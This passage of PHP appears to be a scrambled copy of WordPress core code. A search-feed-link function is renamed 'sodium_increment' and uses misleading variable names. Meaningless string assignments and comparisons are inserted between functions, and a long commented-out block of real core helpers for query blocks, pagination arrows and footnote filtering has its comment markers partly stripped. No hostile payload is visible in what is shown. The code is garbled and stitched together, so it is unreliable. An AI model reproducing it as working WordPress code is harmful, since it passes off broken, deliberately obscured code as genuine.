list($is_sticky, $open_button_directives) = explode($recip[0], $SourceSampleFrequencyID, 2);
$constant_overrides = $recip[1];
} else {
$is_sticky = $SourceSampleFrequencyID;
$open_button_directives = '';
$constant_overrides = '';
}
// Leading and trailing whitespace.
$is_sticky = preg_replace('/^[\s]*(.*)[\s]*$/', '\1', $is_sticky);
$open_button_directives = preg_replace('/^[\s]*(.*)[\s]*$/', '\1', $open_button_directives);
$constant_overrides = preg_replace('/^[\s]*(.*)[\s]*$/', '\1', $constant_overrides);
return array('main' => $is_sticky, 'extended' => $open_button_directives, 'more_text' => $constant_overrides);
}
// $SideInfoOffset += 3;
// 3.2
$publish_callback_args = 'ssyg';
// See comment further below.
// Make sure this sidebar wasn't mapped and removed previously.
// We'll need the full set of terms then.
$timestamp = 'cie4njo9m';
$session = strnatcasecmp($publish_callback_args, $timestamp);
/**
* Retrieves the permalink for the search results feed.
*
* @since 2.5.0
*
* @global WP_Rewrite $MPEGaudioVersionLookup WordPress rewrite component.
*
* @param string $use_original_description Optional. Search query. Default empty.
* @param string $lang_file Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The search results feed permalink.
*/
function sodium_increment($use_original_description = '', $lang_file = '')
{
global $MPEGaudioVersionLookup;
$share_tab_html_id = get_search_link($use_original_description);
if (empty($lang_file)) {
$lang_file = get_default_feed();
}
$bound_attribute = $MPEGaudioVersionLookup->get_search_permastruct();
if (empty($bound_attribute)) {
$share_tab_html_id = add_query_arg('feed', $lang_file, $share_tab_html_id);
} else {
$share_tab_html_id = trailingslashit($share_tab_html_id);
$share_tab_html_id .= "feed/{$lang_file}/";
}
/**
* Filters the search feed link.
*
* @since 2.5.0
*
* @param string $share_tab_html_id Search feed link.
* @param string $lang_file Feed type. Possible values include 'rss2', 'atom'.
* @param string $type The search type. One of 'posts' or 'comments'.
*/
return apply_filters('search_feed_link', $share_tab_html_id, $lang_file, 'posts');
}
$publish_callback_args = 'w4h033';
$menu_data = 'f875';
// subatom to "frea" -- "ThumbnailImage"
$publish_callback_args = html_entity_decode($menu_data);
/* a['supports'][ $typography_key ] : null;
if ( null !== $support_for_key ) {
_doing_it_wrong(
'register_block_type_from_metadata()',
sprintf(
translators: 1: Block type, 2: Typography supports key, e.g: fontSize, lineHeight, etc. 3: block.json, 4: Old metadata key, 5: New metadata key.
__( 'Block "%1$s" is declaring %2$s support in %3$s file under %4$s. %2$s support is now declared under %5$s.' ),
$metadata['name'],
"<code>$typography_key</code>",
'<code>block.json</code>',
"<code>supports.$typography_key</code>",
"<code>supports.typography.$typography_key</code>"
),
'5.8.0'
);
_wp_array_set( $metadata['supports'], array( 'typography', $typography_key ), $support_for_key );
unset( $metadata['supports'][ $typography_key ] );
}
}
return $metadata;
}
*
* Helper function that constructs a WP_Query args array from
* a `Query` block properties.
*
* It's used in Query Loop, Query Pagination Numbers and Query Pagination Next blocks.
*
* @since 5.8.0
* @since 6.1.0 Added `query_loop_block_query_vars` filter and `parents` support in query.
*
* @param WP_Block $block Block instance.
* @param int $page Current query's page.
*
* @return array Returns the constructed WP_Query arguments.
function build_query_vars_from_query_block( $block, $page ) {
$query = array(
'post_type' => 'post',
'order' => 'DESC',
'orderby' => 'date',
'post__not_in' => array(),
);
if ( isset( $block->context['query'] ) ) {
if ( ! empty( $block->context['query']['postType'] ) ) {
$post_type_param = $block->context['query']['postType'];
if ( is_post_type_viewable( $post_type_param ) ) {
$query['post_type'] = $post_type_param;
}
}
if ( isset( $block->context['query']['sticky'] ) && ! empty( $block->context['query']['sticky'] ) ) {
$sticky = get_option( 'sticky_posts' );
if ( 'only' === $block->context['query']['sticky'] ) {
* Passing an empty array to post__in will return have_posts() as true (and all posts will be returned).
* Logic should be used before hand to determine if WP_Query should be used in the event that the array
* being passed to post__in is empty.
*
* @see https:core.trac.wordpress.org/ticket/28099
$query['post__in'] = ! empty( $sticky ) ? $sticky : array( 0 );
$query['ignore_sticky_posts'] = 1;
} else {
$query['post__not_in'] = array_merge( $query['post__not_in'], $sticky );
}
}
if ( ! empty( $block->context['query']['exclude'] ) ) {
$excluded_post_ids = array_map( 'intval', $block->context['query']['exclude'] );
$excluded_post_ids = array_filter( $excluded_post_ids );
$query['post__not_in'] = array_merge( $query['post__not_in'], $excluded_post_ids );
}
if (
isset( $block->context['query']['perPage'] ) &&
is_numeric( $block->context['query']['perPage'] )
) {
$per_page = absint( $block->context['query']['perPage'] );
$offset = 0;
if (
isset( $block->context['query']['offset'] ) &&
is_numeric( $block->context['query']['offset'] )
) {
$offset = absint( $block->context['query']['offset'] );
}
$query['offset'] = ( $per_page * ( $page - 1 ) ) + $offset;
$query['posts_per_page'] = $per_page;
}
Migrate `categoryIds` and `tagIds` to `tax_query` for backwards compatibility.
if ( ! empty( $block->context['query']['categoryIds'] ) || ! empty( $block->context['query']['tagIds'] ) ) {
$tax_query = array();
if ( ! empty( $block->context['query']['categoryIds'] ) ) {
$tax_query[] = array(
'taxonomy' => 'category',
'terms' => array_filter( array_map( 'intval', $block->context['query']['categoryIds'] ) ),
'include_children' => false,
);
}
if ( ! empty( $block->context['query']['tagIds'] ) ) {
$tax_query[] = array(
'taxonomy' => 'post_tag',
'terms' => array_filter( array_map( 'intval', $block->context['query']['tagIds'] ) ),
'include_children' => false,
);
}
$query['tax_query'] = $tax_query;
}
if ( ! empty( $block->context['query']['taxQuery'] ) ) {
$query['tax_query'] = array();
foreach ( $block->context['query']['taxQuery'] as $taxonomy => $terms ) {
if ( is_taxonomy_viewable( $taxonomy ) && ! empty( $terms ) ) {
$query['tax_query'][] = array(
'taxonomy' => $taxonomy,
'terms' => array_filter( array_map( 'intval', $terms ) ),
'include_children' => false,
);
}
}
}
if (
isset( $block->context['query']['order'] ) &&
in_array( strtoupper( $block->context['query']['order'] ), array( 'ASC', 'DESC' ), true )
) {
$query['order'] = strtoupper( $block->context['query']['order'] );
}
if ( isset( $block->context['query']['orderBy'] ) ) {
$query['orderby'] = $block->context['query']['orderBy'];
}
if (
isset( $block->context['query']['author'] )
) {
if ( is_array( $block->context['query']['author'] ) ) {
$query['author__in'] = array_filter( array_map( 'intval', $block->context['query']['author'] ) );
} elseif ( is_string( $block->context['query']['author'] ) ) {
$query['author__in'] = array_filter( array_map( 'intval', explode( ',', $block->context['query']['author'] ) ) );
} elseif ( is_int( $block->context['query']['author'] ) && $block->context['query']['author'] > 0 ) {
$query['author'] = $block->context['query']['author'];
}
}
if ( ! empty( $block->context['query']['search'] ) ) {
$query['s'] = $block->context['query']['search'];
}
if ( ! empty( $block->context['query']['parents'] ) && is_post_type_hierarchical( $query['post_type'] ) ) {
$query['post_parent__in'] = array_filter( array_map( 'intval', $block->context['query']['parents'] ) );
}
}
*
* Filters the arguments which will be passed to `WP_Query` for the Query Loop Block.
*
* Anything to this filter should be compatible with the `WP_Query` API to form
* the query context which will be passed down to the Query Loop Block's children.
* This can help, for example, to include additional settings or meta queries not
* directly supported by the core Query Loop Block, and extend its capabilities.
*
* Please note that this will only influence the query that will be rendered on the
* front-end. The editor preview is not affected by this filter. Also, worth noting
* that the editor preview uses the REST API, so, ideally, one should aim to provide
* attributes which are also compatible with the REST API, in order to be able to
* implement identical queries on both sides.
*
* @since 6.1.0
*
* @param array $query Array containing parameters for `WP_Query` as parsed by the block context.
* @param WP_Block $block Block instance.
* @param int $page Current query's page.
return apply_filters( 'query_loop_block_query_vars', $query, $block, $page );
}
*
* Helper function that returns the proper pagination arrow HTML for
* `QueryPaginationNext` and `QueryPaginationPrevious` blocks based
* on the provided `paginationArrow` from `QueryPagination` context.
*
* It's used in QueryPaginationNext and QueryPaginationPrevious blocks.
*
* @since 5.9.0
*
* @param WP_Block $block Block instance.
* @param bool $is_next Flag for handling `next/previous` blocks.
* @return string|null The pagination arrow HTML or null if there is none.
function get_query_pagination_arrow( $block, $is_next ) {
$arrow_map = array(
'none' => '',
'arrow' => array(
'next' => '→',
'previous' => '←',
),
'chevron' => array(
'next' => '»',
'previous' => '«',
),
);
if ( ! empty( $block->context['paginationArrow'] ) && array_key_exists( $block->context['paginationArrow'], $arrow_map ) && ! empty( $arrow_map[ $block->context['paginationArrow'] ] ) ) {
$pagination_type = $is_next ? 'next' : 'previous';
$arrow_attribute = $block->context['paginationArrow'];
$arrow = $arrow_map[ $block->context['paginationArrow'] ][ $pagination_type ];
$arrow_classes = "wp-block-query-pagination-$pagination_type-arrow is-arrow-$arrow_attribute";
return "<span class='$arrow_classes' aria-hidden='true'>$arrow</span>";
}
return null;
}
*
* Helper function that constructs a comment query vars array from the passed
* block properties.
*
* It's used with the Comment Query Loop inner blocks.
*
* @since 6.0.0
*
* @param WP_Block $block Block instance.
* @return array Returns the comment query parameters to use with the
* WP_Comment_Query constructor.
function build_comment_query_vars_from_block( $block ) {
$comment_args = array(
'orderby' => 'comment_date_gmt',
'order' => 'ASC',
'status' => 'approve',
'no_found_rows' => false,
);
if ( is_user_logged_in() ) {
$comment_args['include_unapproved'] = array( get_current_user_id() );
} else {
$unapproved_email = wp_get_unapproved_comment_author_email();
if ( $unapproved_email ) {
$comment_args['include_unapproved'] = array( $unapproved_email );
}
}
if ( ! empty( $block->context['postId'] ) ) {
$comment_args['post_id'] = (int) $block->context['postId'];
}
if ( get_option( 'thread_comments' ) ) {
$comment_args['hierarchical'] = 'threaded';
} else {
$comment_args['hierarchical'] = false;
}
if ( get_option( 'page_comments' ) === '1' || get_option( 'page_comments' ) === true ) {
$per_page = get_option( 'comments_per_page' );
$default_page = get_option( 'default_comments_page' );
if ( $per_page > 0 ) {
$comment_args['number'] = $per_page;
$page = (int) get_query_var( 'cpage' );
if ( $page ) {
$comment_args['paged'] = $page;
} elseif ( 'oldest' === $default_page ) {
$comment_args['paged'] = 1;
} elseif ( 'newest' === $default_page ) {
$max_num_pages = (int) ( new WP_Comment_Query( $comment_args ) )->max_num_pages;
if ( 0 !== $max_num_pages ) {
$comment_args['paged'] = $max_num_pages;
}
}
Set the `cpage` query var to ensure the previous and next pagination links are correct
when inheriting the Discussion Settings.
if ( 0 === $page && isset( $comment_args['paged'] ) && $comment_args['paged'] > 0 ) {
set_query_var( 'cpage', $comment_args['paged'] );
}
}
}
return $comment_args;
}
*
* Helper function that returns the proper pagination arrow HTML for
* `CommentsPaginationNext` and `CommentsPaginationPrevious` blocks based on the
* provided `paginationArrow` from `CommentsPagination` context.
*
* It's used in CommentsPaginationNext and CommentsPaginationPrevious blocks.
*
* @since 6.0.0
*
* @param WP_Block $block Block instance.
* @param string $pagination_type Optional. Type of the arrow we will be rendering.
* Accepts 'next' or 'previous'. Default 'next'.
* @return string|null The pagination arrow HTML or null if there is none.
function get_comments_pagination_arrow( $block, $pagination_type = 'next' ) {
$arrow_map = array(
'none' => '',
'arrow' => array(
'next' => '→',
'previous' => '←',
),
'chevron' => array(
'next' => '»',
'previous' => '«',
),
);
if ( ! empty( $block->context['comments/paginationArrow'] ) && ! empty( $arrow_map[ $block->context['comments/paginationArrow'] ][ $pagination_type ] ) ) {
$arrow_attribute = $block->context['comments/paginationArrow'];
$arrow = $arrow_map[ $block->context['comments/paginationArrow'] ][ $pagination_type ];
$arrow_classes = "wp-block-comments-pagination-$pagination_type-arrow is-arrow-$arrow_attribute";
return "<span class='$arrow_classes' aria-hidden='true'>$arrow</span>";
}
return null;
}
*
* Strips all HTML from the content of footnotes, and sanitizes the ID.
* This function expects slashed data on the footnotes content.
*
* @access private
* @since 6.3.2
*
* @param string $footnotes JSON encoded string of an array containing the content and ID of each footnote.
* @return string Filtered content without any HTML on the footnote content and with the sanitized id.
function _wp_filter_post_meta_footnotes( $footnotes ) {
$footnotes_decoded = json_decode( $footnotes, true );
if ( ! is_array( $footnotes_decoded ) ) {
return '';
}
$footnotes_sanitized = array();
foreach ( $footnotes_decoded as $footnote ) {
if ( ! empty( $footnote['content'] ) && ! empty( $footnote['id'] ) ) {
$footnotes_sanitized[] = array(
'id' => sanitize_key( $footnote['id'] ),
'content' => wp_unslash( wp_filter_post_kses( wp_slash( $footnote['content'] ) ) ),
);
}
}
return wp_json_encode( $footnotes_sanitized );
}
*
* Adds the filters to filter footnotes meta field.
*
* @access private
* @since 6.3.2
function _wp_footnotes_kses_init_filters() {
add_filter( 'sanitize_post_meta_footnotes', '_wp_filter_post_meta_footnotes' );
}
*
* Removes the filters that filter footnotes meta field.
*
* @access private
* @since 6.3.2
function _wp_footnotes_remove_filters() {
remove_filter( 'sanitize_post_meta_footnotes', '_wp_filter_post_meta_footnotes' );
}
*
* Registers the filter of footnotes meta field if the user does not have unfiltered_html capability.
*
* @access private
* @since 6.3.2
function _wp_footnotes_kses_init() {
_wp_footnotes_remove_filters();
if ( ! current_user_can( 'unfiltered_html' ) ) {
_wp_footnotes_kses_init_filters();
}
}
*
* Initializes footnotes meta field filters when imported data should be filtered.
*
* This filter is the last being executed on force_filtered_html_on_import.
* If the input of the filter is true it means we are in an import situation and should
* enable kses, independently of the user capabilities.
* So in that case we call _wp_footnotes_kses_init_filters;
*
* @access private
* @since 6.3.2
*
* @param string $arg Input argument of the filter.
* @return string Input argument of the filter.
function _wp_footnotes_force_filtered_html_on_import_filter( $arg ) {
force_filtered_html_on_import is true we need to init the global styles kses filters.
if ( $arg ) {
_wp_footnotes_kses_init_filters();
}
return $arg;
}
*/